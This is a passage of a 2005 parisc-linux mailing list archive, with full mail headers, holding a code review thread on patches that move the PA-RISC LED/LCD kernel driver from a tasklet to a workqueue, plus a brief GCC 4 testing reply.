--nextPart1386773.uFWCL5yrOW
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCQwuZOIrGtzS07WgRAgtbAJ48yedQVVBLCrTp9P/oaHfa5HTiJgCfda8R
Pz9uP/xLvcsu5NCr/At1UQk=
=zOc0
-----END PGP SIGNATURE-----

--nextPart1386773.uFWCL5yrOW--

--===============0519107275==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0519107275==--



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ja2morri@csclub.uwaterloo.ca (James A. Morrison)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: 24 Mar 2005 14:37:46 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <kfhr7i43kdx.fsf@csclub.uwaterloo.ca>
References: <kfhwtrx2myr.fsf@csclub.uwaterloo.ca>
	<200503241619.j2OGJScZ000411@hiauly1.hia.nrc.ca>
	<20050324165947.GA29361@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623711 13441 80.91.229.3 (22 Nov 2014 02:35:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:11 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 19:38:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 24 Mar 2005 20:38:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 391F37D67B;
	Thu, 24 Mar 2005 12:39:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29034-06; Thu, 24 Mar 2005 12:39:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEB277D67C;
	Thu, 24 Mar 2005 12:39:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 301FC7D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 12:39:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29074-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 12:39:42 -0700 (MST)
Original-Received: from perpugilliam.csclub.uwaterloo.ca
	(perpugilliam.csclub.uwaterloo.ca [129.97.134.31])
	by free.linux.hp.com (Postfix) with ESMTP id B311C7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 12:39:42 -0700 (MST)
Original-Received: by perpugilliam.csclub.uwaterloo.ca (Postfix, from userid 20178)
	id 32306A8792; Thu, 24 Mar 2005 14:37:47 -0500 (EST)
In-Reply-To: <20050324165947.GA29361@colo.lackof.org>
Original-Lines: 25
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EnIxYupMeSE5+76WZHQhaXN2IGRvb4AE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22483


Grant Grundler <grundler@parisc-linux.org> writes:

> On Thu, Mar 24, 2005 at 11:19:28AM -0500, John David Anglin wrote:
> ...
> > From a PA standpoint, GCC 4 is ready for serious testing.  All testsuite
> > bugs have been squashed in C and C++.
> 
> Is there a .deb or tarball available I can drop on a bunch of machines?
> 
> I'd be happy to test for kernel builds.
> 
> thanks,
> grant
> 

 Try the gcc-snapshot package.

-- 
Thanks,
Jim

http://www.student.cs.uwaterloo.ca/~ja2morri/
http://phython.blogspot.com
http://open.nit.ca/wiki/?page=jim
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A second LCD patch
Date: Thu, 24 Mar 2005 20:01:00 +0000
Lines: 93
Approved: news@gmane.org
Message-ID: <200503242001.02146.dmp@davidmpye.dyndns.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1316938420=="
X-Trace: ger.gmane.org 1416623712 13444 80.91.229.3 (22 Nov 2014 02:35:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 20:01:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 24 Mar 2005 21:01:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C33B67D683;
	Thu, 24 Mar 2005 13:02:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29074-09; Thu, 24 Mar 2005 13:02:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD09C7D67E;
	Thu, 24 Mar 2005 13:02:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E00797D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 13:02:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29074-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 13:02:34 -0700 (MST)
Original-Received: from astro.systems.pipex.net (astro.systems.pipex.net [62.241.163.6])
	by free.linux.hp.com (Postfix) with ESMTP id 3E5FB7D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 13:02:34 -0700 (MST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by astro.systems.pipex.net (Postfix) with ESMTP id 2E98EE000122
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 20:01:02 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <200503241848.57598.dmp@davidmpye.dyndns.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3nkxYrAkeSE5+76WZHQhaXN2IGRvb8A6
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22484

--===============1316938420==
Content-Type: multipart/signed; boundary="nextPart1198597.JtQ49KAioZ";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1198597.JtQ49KAioZ
Content-Type: multipart/mixed;
  boundary="Boundary-01=_8xxQCgXBgUckZ+S"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_8xxQCgXBgUckZ+S
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,

Attached is another patch to the LED LCD code, which prints the initial=20
'default lcd text' to the display slightly later than previously.

This avoids it being overwritten by the chassis code which is displayed on =
my=20
J5000 shortly after kernel init (INI CC01). The device_init function create=
d=20
for the workqueue is an ideal place to do the initial lcd_print now, afaics.

My previous patch needs to be applied first, then this one.

Thanks,

David

--Boundary-01=_8xxQCgXBgUckZ+S
Content-Type: text/x-diff;
  charset="iso-8859-1";
  name="led_lcd_patch2"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="led_lcd_patch2"

diff -urpN oldtree/drivers/parisc/led.c newtree/drivers/parisc/led.c
=2D-- oldtree/drivers/parisc/led.c	2005-03-24 19:17:25.000000000 +0000
+++ newtree/drivers/parisc/led.c	2005-03-24 19:19:07.000000000 +0000
@@ -128,6 +128,10 @@ lcd_info __attribute__((aligned(8))) =3D
 /* The workqueue must be created at init-time */
 static int start_task(void)=20
 {=09
+	/* Print the display text to the lcd if present now. This avoids it
+	 * being overwritten with any boot-time chassis codes */
+	if (led_type =3D=3D LED_HASLCD) lcd_print( lcd_text_default );
+
 	/* Create the work queue and queue the LED task */
 	led_wq =3D create_singlethread_workqueue("led_wq");=09
 	queue_work(led_wq, &led_task);
@@ -602,7 +606,6 @@ int __init register_led_driver(int model
 		printk(KERN_INFO "LCD display at %lx,%lx registered\n",=20
 			LCD_CMD_REG , LCD_DATA_REG);
 		led_func_ptr =3D led_LCD_driver;
=2D		lcd_print( lcd_text_default );
 		led_type =3D LED_HASLCD;
 		break;
=20

--Boundary-01=_8xxQCgXBgUckZ+S--

--nextPart1198597.JtQ49KAioZ
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCQxx+OIrGtzS07WgRAh8JAKC8aJZEOLsTx9F5+6rcP/7wKHq6igCgjRPO
3j4jWNFgMBl3zGkS8OVb478=
=U3Hd
-----END PGP SIGNATURE-----

--nextPart1198597.JtQ49KAioZ--

--===============1316938420==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1316938420==--



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Thu, 24 Mar 2005 14:05:14 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <1111694714.5519.28.camel@mulgrave>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623712 13445 80.91.229.3 (22 Nov 2014 02:35:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:12 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: dmp@davidmpye.dyndns.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 20:05:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 24 Mar 2005 21:05:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14CBE7D682;
	Thu, 24 Mar 2005 13:06:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29415-07; Thu, 24 Mar 2005 13:06:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 775D67D683;
	Thu, 24 Mar 2005 13:06:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DEC27D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 13:06:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29505-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 13:06:50 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 94CA57D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 13:06:50 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j2OK5HA05128; Thu, 24 Mar 2005 15:05:17 -0500
In-Reply-To: <200503241848.57598.dmp@davidmpye.dyndns.org>
X-Mailer: Evolution 2.0.4 (2.0.4-2) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0HgxYqpHeSE5+76WZHQhaXN2IGRvb0DE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22485

On Thu, 2005-03-24 at 18:48 +0000, David Pye wrote:
> +                       set_current_state(TASK_UNINTERRUPTIBLE);                
> +                       schedule_timeout(wait_jiffies); 

The two uses of this should become msleep().  schedule_timeout() is
deprecated in the kernel now.

> +       /* Requeue ourself to run in 5 jiffies */       
> +       queue_delayed_work(led_wq, &led_task, 5);

This is wrong too.  The value of HZ (the rate at which jiffies tick) has
been tampered with several times over the course of the years.  All
timing related quantites need to be expressed in terms of HZ to ensure
they remain constant.

We actually have a class of machines for whom HZ=100 so you'll be
waiting ten times longer than you expect on these...


> +               if (cancel_delayed_work(&led_task) == 0) 
> +                       flush_workqueue(led_wq);

This should really be done using 

cancel_rearming_delayed_workqueue()

Unfortunately, someone needs to get that symbol exported.

This added strlcpy is redundant:


> +       /* copy display string to buffer for procfs */
> +       strlcpy(lcd_text, str, sizeof(lcd_text));
>  
>         /* copy display string to buffer for procfs */
>         strlcpy(lcd_text, str, sizeof(lcd_text));
> 

James



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Thu, 24 Mar 2005 21:00:05 +0000
Lines: 502
Approved: news@gmane.org
Message-ID: <200503242100.06699.dmp@davidmpye.dyndns.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<1111694714.5519.28.camel@mulgrave>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1437315856=="
X-Trace: ger.gmane.org 1416623712 13447 80.91.229.3 (22 Nov 2014 02:35:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:12 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 21:00:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 24 Mar 2005 22:00:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB96B7D685;
	Thu, 24 Mar 2005 14:01:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29864-02; Thu, 24 Mar 2005 14:01:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6981A7D688;
	Thu, 24 Mar 2005 14:01:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22FC67D685
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 14:01:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29505-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 14:01:40 -0700 (MST)
Original-Received: from galaxy.systems.pipex.net (galaxy.systems.pipex.net
	[62.241.162.31])
	by free.linux.hp.com (Postfix) with ESMTP id 2B55D7D683
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 14:01:40 -0700 (MST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by galaxy.systems.pipex.net (Postfix) with ESMTP id F246AE000198;
	Thu, 24 Mar 2005 21:00:07 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <1111694714.5519.28.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: M08xYs9CeSE5+76WZHQhaXN2IGRvb0C8
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22486

--===============1437315856==
Content-Type: multipart/signed; boundary="nextPart2757519.HmDgPxnUXr";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2757519.HmDgPxnUXr
Content-Type: multipart/mixed;
  boundary="Boundary-01=_VpyQC8/c3N8Bsfx"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_VpyQC8/c3N8Bsfx
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,

Thanks for your feedback.

I wish the kernel driver development book clearly marked what was deprecate=
d=20
these days </whinge>

I believe the attached patch fixes the points you noted, with the exception=
 of=20
not yet using cancel_rearming_delayed_workqueue().  =20

The second patch I submitted still applies okay after this one. (offset -2=
=20
lines thanks to the removal of the duplicated strlcpy).

Thanks,

David

--Boundary-01=_VpyQC8/c3N8Bsfx
Content-Type: text/x-diff;
  charset="iso-8859-1";
  name="led_lcd_patch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="led_lcd_patch"

diff -urpN oldtree/arch/parisc/kernel/time.c newtree/arch/parisc/kernel/tim=
e.c
=2D-- oldtree/arch/parisc/kernel/time.c	2004-10-21 19:58:24.000000000 +0100
+++ newtree/arch/parisc/kernel/time.c	2005-03-24 20:31:59.000000000 +0000
@@ -89,14 +89,6 @@ irqreturn_t timer_interrupt(int irq, voi
 		}
 	}
    =20
=2D#ifdef CONFIG_CHASSIS_LCD_LED
=2D	/* Only schedule the led tasklet on cpu 0, and only if it
=2D	 * is enabled.
=2D	 */
=2D	if (cpu =3D=3D 0 && !atomic_read(&led_tasklet.count))
=2D		tasklet_schedule(&led_tasklet);
=2D#endif
=2D
 	/* check soft power switch status */
 	if (cpu =3D=3D 0 && !atomic_read(&power_tasklet.count))
 		tasklet_schedule(&power_tasklet);
diff -urpN oldtree/drivers/parisc/led.c newtree/drivers/parisc/led.c
=2D-- oldtree/drivers/parisc/led.c	2005-03-18 13:17:10.000000000 +0000
+++ newtree/drivers/parisc/led.c	2005-03-24 20:32:49.000000000 +0000
@@ -18,6 +18,9 @@
  * Changes:
  *      - Audit copy_from_user in led_proc_write.
  *                                Daniele Bellucci <bellucda@tiscali.it>
+ *	- Switch from using a tasklet to a work queue, so the led_LCD_driver
+ *	  	can sleep.
+ *	  			  David Pye <dmp@davidmpye.dyndns.org>
  */
=20
 #include <linux/config.h>
@@ -37,6 +40,7 @@
 #include <linux/proc_fs.h>
 #include <linux/ctype.h>
 #include <linux/blkdev.h>
+#include <linux/workqueue.h>
 #include <asm/io.h>
 #include <asm/processor.h>
 #include <asm/hardware.h>
@@ -46,9 +50,9 @@
 #include <asm/uaccess.h>
=20
 /* The control of the LEDs and LCDs on PARISC-machines have to be done=20
=2D   completely in software. The necessary calculations are done in a task=
let
=2D   which is scheduled at every timer interrupt and since the calculation=
s=20
=2D   may consume relatively much CPU-time some of the calculations can be=
=20
+   completely in software. The necessary calculations are done in a work q=
ueue
+   task which is scheduled regularly, and since the calculations may consu=
me a=20
+   relatively large amount of CPU time, some of the calculations can be=20
    turned off with the following variables (controlled via procfs) */
=20
 static int led_type =3D -1;
@@ -58,13 +62,16 @@ static int led_lanrxtx =3D 1;
 static char lcd_text[32];
 static char lcd_text_default[32];
=20
+static struct workqueue_struct *led_wq;
+static void led_work_func(void *);
+static DECLARE_WORK(led_task, led_work_func, NULL);
+
 #if 0
 #define DPRINTK(x)	printk x
 #else
 #define DPRINTK(x)
 #endif
=20
=2D
 struct lcd_block {
 	unsigned char command;	/* stores the command byte      */
 	unsigned char on;	/* value for turning LED on     */
@@ -115,12 +122,24 @@ lcd_info __attribute__((aligned(8))) =3D
 #define LCD_DATA_REG	lcd_info.lcd_data_reg_addr	=20
 #define LED_DATA_REG	lcd_info.lcd_cmd_reg_addr	/* LASI & ASP only */
=20
+#define LED_HASLCD 1
+#define LED_NOLCD  0
+
+/* The workqueue must be created at init-time */
+static int start_task(void)=20
+{=09
+	/* Create the work queue and queue the LED task */
+	led_wq =3D create_singlethread_workqueue("led_wq");=09
+	queue_work(led_wq, &led_task);
+
+	return 0;
+}
+
+device_initcall(start_task);
=20
 /* ptr to LCD/LED-specific function */
 static void (*led_func_ptr) (unsigned char);
=20
=2D#define LED_HASLCD 1
=2D#define LED_NOLCD  0
 #ifdef CONFIG_PROC_FS
 static int led_proc_read(char *page, char **start, off_t off, int count,=20
 	int *eof, void *data)
@@ -285,53 +304,37 @@ static void led_LASI_driver(unsigned cha
 /*
    **=20
    ** led_LCD_driver()
=2D   **=20
=2D   ** The logic of the LCD driver is, that we write at every scheduled c=
all
=2D   ** only to one of LCD_CMD_REG _or_ LCD_DATA_REG - registers.
=2D   ** That way we don't need to let this tasklet busywait for min_cmd_de=
lay
=2D   ** milliseconds.
=2D   **
=2D   ** TODO: check the value of "min_cmd_delay" against the value of HZ.
    **  =20
  */
 static void led_LCD_driver(unsigned char leds)
 {
=2D	static int last_index;	/* 0:heartbeat, 1:disk, 2:lan_in, 3:lan_out */
=2D	static int last_was_cmd;/* 0: CMD was written last, 1: DATA was last */
=2D	struct lcd_block *block_ptr;
=2D	int value;
=2D
=2D	switch (last_index) {
=2D	    case 0:	block_ptr =3D &lcd_info.heartbeat;
=2D			value =3D leds & LED_HEARTBEAT;
=2D			break;
=2D	    case 1:	block_ptr =3D &lcd_info.disk_io;
=2D			value =3D leds & LED_DISK_IO;
=2D			break;				=09
=2D	    case 2:	block_ptr =3D &lcd_info.lan_rcv;
=2D			value =3D leds & LED_LAN_RCV;
=2D			break;				=09
